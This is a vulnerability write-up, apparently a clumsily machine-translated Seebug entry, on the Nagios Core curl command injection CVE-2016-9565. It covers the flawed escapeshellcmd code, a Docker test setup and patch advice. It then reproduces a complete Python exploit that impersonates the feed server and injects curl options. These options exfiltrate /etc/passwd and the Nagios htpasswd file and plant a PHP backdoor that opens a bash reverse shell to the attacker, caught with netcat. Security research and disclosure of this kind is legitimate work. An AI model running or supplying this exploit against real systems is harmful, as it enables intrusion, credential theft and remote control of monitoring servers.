Lucene search

K
seebugRootSSV:92573
HistoryDec 14, 2016 - 12:00 a.m.

Nagios Core < 4.2.2 Curl Command Injection/Code Execution (CVE-2016-9565)

2016-12-1400:00:00
Root
www.seebug.org
267

0.263 Low

EPSS

Percentile

96.3%

Author: p0wd3r, dawu (know Chong Yu 404 security lab)

Date: 2016-12-15

0x00 vulnerability overview

1. Vulnerability description

Nagios is a monitoring of the IT infrastructure program, recently security researchers Dawid Golunski discovered in Nagios Core there is a code execution vulnerability: an attacker first in the disguise of RSS feeds, when victimization the app to get the RSS information when the attacker would construct a malicious data to the victim, the program in the process will be the malicious data is injected into the curl command, and then code execution.

2. Vulnerability

The vulnerability is triggered premise:

  1. The attacker can be disguised as https://www.nagios.org using dns spoofing and other methods
  2. The attacker is authorized, or an attacker convinces an authorized user to access rss-corefeed.php and rss-newsfeed.php and rss-corebanner.php one of the files.

A successful attack execute arbitrary code.

3. Impact version

Nagios Core < 4.2.2

0x01 vulnerability reproduction

1. Environment to build

Dockerfile:

``dockerfile FROM quantumobject/docker-nagios

RUN sed-i ‘99d’ /usr/local/nagios/share/includes/rss/rss_fetch. inc

RUN mkdir /tmp/tmp && chown www-data:www-data /tmp/tmp ``

Then run:

bash docker run-p 80:80 --name nagios-d quantumobject/docker-nagios

Access http://127.0.0.1/nagios with nagiosadmin:admin log in

2. Vulnerability analysis

Vulnerability trigger point in/usr/local/nagios/share/includes/rss/extlib/Snoopy. class. inc the 657 line, the_httpsrequest function:

``php // version < 4.2.0 exec($this->curl_path." -D "/tmp/$headerfile"“. escapeshellcmd($cmdline_params).” ". escapeshellcmd($URI),$results,$return);

// vserion >= 4.2.0 && version < 4.2.2 exec($this->curl_path." -D "/tmp/$headerfile"“.$ cmdline_params.” "“. escapeshellcmd($URI).”"",$ results,$return); ``

Where the use of the escapeshellcmd to the command parameterprocessing, escapeshellcmd of the role are as follows:

Alt text

The author is intended to prevent multiple execution of the command, but this treatment did not prevent the implantation of a plurality of parametersamples if the$URI controlled, and then with the curl of some characteristics can read and write files, and then code execution. (In General to prevent the injection of a plurality of parameters you want to use escapeshellarg, but the function is not absolute security, as detailed in CVE-2015-4642 it.

Because before the burst of the CVE-2008-4796, the code in the 4. 2. 0 version did change, but the patch can be bypassed, as long as we are in the input closed before and after".

Below we look at$URI whether controllable. According to the code logic point of view,_httpsrequet is usr/local/nagios/share/includes/rss/rss_fetch. inc in the fetch_rss function call, so that we create such a test file test.php to:

``php <? php define(‘MAGPIE_DIR’, ‘./ includes/rss/’); define(‘MAGPIE_CACHE_ON’, 0); define(‘MAGPIE_CACHE_AGE’, 0); define(‘MAGPIE_CACHE_DIR’, ‘/tmp/magpie_cache’); require_once(MAGPIE_DIR.‘rss_fetch. inc’);

fetch_rss(‘https://www.baidu.com --version’); ``

Access http://127.0.0.1/nagios/test.php after turn on dynamic debugging, we in the exec function at the lower breakpoint, the call stack is as follows:

Alt text

$URI as follows:

Alt text

Shows the$URI controlled, and in the incoming process has not been filtered.

Next we need to construct the curl parameters to get the results we want, here we use Dawid Golunski provide the Exp, it is noted that he provided the code to verify that 4. 2. 0 before version to verify the version greater than or equal to 4. 2. 0 and less than 4. 2. 2, The need for which code is about to change, coupled with the closure needed to double the quotes:

``python

Line 44

self. redirect(‘https://’ + self. request. host + '/nagioshack" -Fpasswd=@/etc/passwd-Fgroup=@/etc/group-Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ’ + backdoor_path + ‘"’, permanent=False) ``

The Exp of the specific process is as follows:

  1. The attacker on the server to open a http/https Server
  2. Victims using fetch_rss to the server to send its request
  3. The attacker receives the request to redirect, redirect url to https:// + the attacker's server + payload, the payload in the use-F the file content is sent to the server, the--trace-ascii will flow records to the file, similar to Roundcube RCE in the mail function of-X is.
  4. The server receives the redirected request after the following three operations:
    1. Parse the file content
    2. Return to the back door content and then through the flow record is written to the backdoor file
    3. Returns the constructed XML in the description, add<img src>
  5. Victims parse the XML and the description of the contents of the output to html, and then automatically performs back door

In order to facilitate verification, we are in the website directory create a exp.php:

``php <? php define(‘MAGPIE_DIR’, ‘./ includes/rss/’); define(‘MAGPIE_CACHE_ON’, 0); define(‘MAGPIE_CACHE_AGE’, 0); define(‘MAGPIE_CACHE_DIR’, ‘/tmp/magpie_cache’); require_once(MAGPIE_DIR.‘rss_fetch. inc’);

fetch_rss(‘http://172.17.0.3’); ``

Only for validation vulnerability, where we don’t have to parse the XML and then we 172.17.0.3 run on Exp, and then access the http://127.0.0.1/exp.php you can get the results:

Alt text

The actual testing Exp in back door code is possible in the log will be truncated resulting in command execution is unsuccessful, recommended to write a brief word:

Alt text

The real case, the fetch_rss call as follows:

Alt text

Visible we can not control the values of the parameters, it can only be by dns spoofing and other means to make the target of the https://www.nagios.org the access point to the attacker’s server, and then trigger the vulnerability.

3. Patch analysis

4.2.2 version, deleted the includes/and rss-corefeed.php and rss-newsfeed.php and rss-corebanner.php the.

0x02 repair program

Upgrade to 4. 2. 2

0x03 reference

  1. Dawid Golunski vulnerability report: <http://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html&gt;
  2. escapeshellcmd use manual: <http://php.net/manual/zh/function.escapeshellcmd.php&gt;

                                                """
This PoC exploit can allow well-positioned attackers to extract and write 
arbitrary files on the Nagios server which can lead to arbitrary code execution
on Nagios deployments that follow the official Nagios installation guidelines. 
For details, see the full advisory at:
https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html
PoC Video:
https://legalhackers.com/videos/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html
Usage:
./nagios_cmd_injection.py reverse_shell_ip [reverse_shell_port]
Disclaimer:
For testing purposes only. Do no harm.
"""

import os
import sys
import time
import re
import tornado.httpserver
import tornado.web
import tornado.ioloop

exploited  = 0 
docroot_rw = 0

class MainHandler(tornado.web.RequestHandler):

    def get(self):
	global exploited
	if (exploited == 1):
		self.finish()
	else:
		ua  = self.request.headers['User-Agent']
		if "Magpie" in ua:
			print "[+] Received GET request from Nagios server (%s) ! Sending redirect to inject our curl payload:\n" % self.request.remote_ip
			print  '-Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path + '\n'
			self.redirect('https://' + self.request.host + '/nagioshack -Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path, permanent=False)
			exploited = 1

    def post(self):        
        global docroot_rw
	print "[+] Success, curl payload injected! Received data back from the Nagios server %s\n" % self.request.remote_ip

	# Extract /etc/passwd from the target 
        passwd = self.request.files['passwd'][0]['body']
	print "[*] Contents of /etc/passwd file from the target:\n\n%s" % passwd

	# Extract /usr/local/nagios/etc/htpasswd.users
        htauth = self.request.files['htauth'][0]['body']
	print "[*] Contents of /usr/local/nagios/etc/htpasswd.users file:\n\n%s" % htauth

	# Extract nagios group from /etc/group
        group = self.request.files['group'][0]['body']
	for line in group.splitlines():
	    if "nagios:" in line:
		nagios_group = line
		print "[*] Retrieved nagios group line from /etc/group file on the target: %s\n" % nagios_group
	if "www-data" in nagios_group:
		print "[+] Happy days, 'www-data' user belongs to 'nagios' group! (meaning writable webroot)\n"
		docroot_rw = 1

	# Put backdoor PHP payload within the 'Server' response header so that it gets properly saved via the curl 'trace-ascii'
	# option. The output trace should contain  an unwrapped line similar to:
	# 
	# == Info: Server <?php system("/bin/bash -c 'nohup bash -i >/dev/tcp/192.168.57.3/8080 0<&1 2>&1 &'"); ?> is not blacklisted
	#
	# which will do the trick as it won't mess up the payload :)
	self.add_header('Server', backdoor)

	# Return XML/feed with JavaScript payload that will run the backdoor code from nagios-backdoor.php via <img src=> tag :)
	print "[*] Feed XML with JS payload returned to the client in the response. This should load nagios-backdoor.php in no time :) \n"
	self.write(xmldata)

	self.finish()
	tornado.ioloop.IOLoop.instance().stop()


if __name__ == "__main__":
    global backdoor_path
    global backdoor

    print intro

    # Set attacker's external IP & port to be used by the reverse shell
    if len(sys.argv) < 2 :
	   print usage
	   sys.exit(2)
    attacker_ip   = sys.argv[1]
    if len(sys.argv) == 3 :
	   attacker_port = sys.argv[1]
    else:
	   attacker_port = 8080

    # PHP backdoor to be saved on the target Nagios server
    backdoor_path = '/usr/local/nagios/share/nagios-backdoor.php'
    backdoor = """<?php system("/bin/bash -c 'nohup bash -i >/dev/tcp/%s/%s 0<&1 2>&1 &'"); die("stop processing"); ?>""" % (attacker_ip, attacker_port)

    # Feed XML containing JavaScript payload that will load the nagios-backdoor.php script
    global xmldata
    xmldata = """<?xml version="1.0"?>
    <rss version="2.0">
          <channel>
            <title>Nagios feed with injected JS payload</title>
            <item>
              <title>Item 1</title>
              <description>
                &lt;strong&gt;Feed injected. Here we go &lt;/strong&gt; - 
                loading /nagios/nagios-backdoor.php now via img tag... check your netcat listener for nagios shell ;) 
                &lt;img src=&quot;/nagios/nagios-backdoor.php&quot; onerror=&quot;alert('Reverse Shell /nagios/nagios-backdoor.php executed!')&quot;&gt;
              </description>
            </item>
          </channel>
    </rss> """


    # Generate SSL cert
    print "[+] Generating SSL certificate for our python HTTPS web server \n"
    os.system("echo -e '\n\n\n\n\n\n\n\n\n' | openssl req  -nodes -new -x509  -keyout server.key -out server.cert 2>/dev/null")

    print "[+] Starting the web server on ports 80 & 443 \n"
    application = tornado.web.Application([
        (r'/.*', MainHandler)
    ])
    application.listen(80)
    http_server = tornado.httpserver.HTTPServer(
        application, 
        ssl_options = {
            "certfile": os.path.join("./", "server.cert"),
            "keyfile": os.path.join("./", "server.key"),
        }
    )
    http_server.listen(443)

    print "[+] Web server ready for connection from Nagios (http://target-svr/nagios/rss-corefeed.php). Time for your dnsspoof magic... ;)\n"
    tornado.ioloop.IOLoop.current().start()

    if (docroot_rw == 1):
	    print "[+] PHP backdoor should have been saved in %s on the target by now!\n" % backdoor_path
	    print "[*] Spawning netcat and waiting for the nagios shell\n"
	    os.system("nc -v -l -p 8080")
	    print "\n[+] Shell closed\n"

    print "[+] That's all. Exiting\n"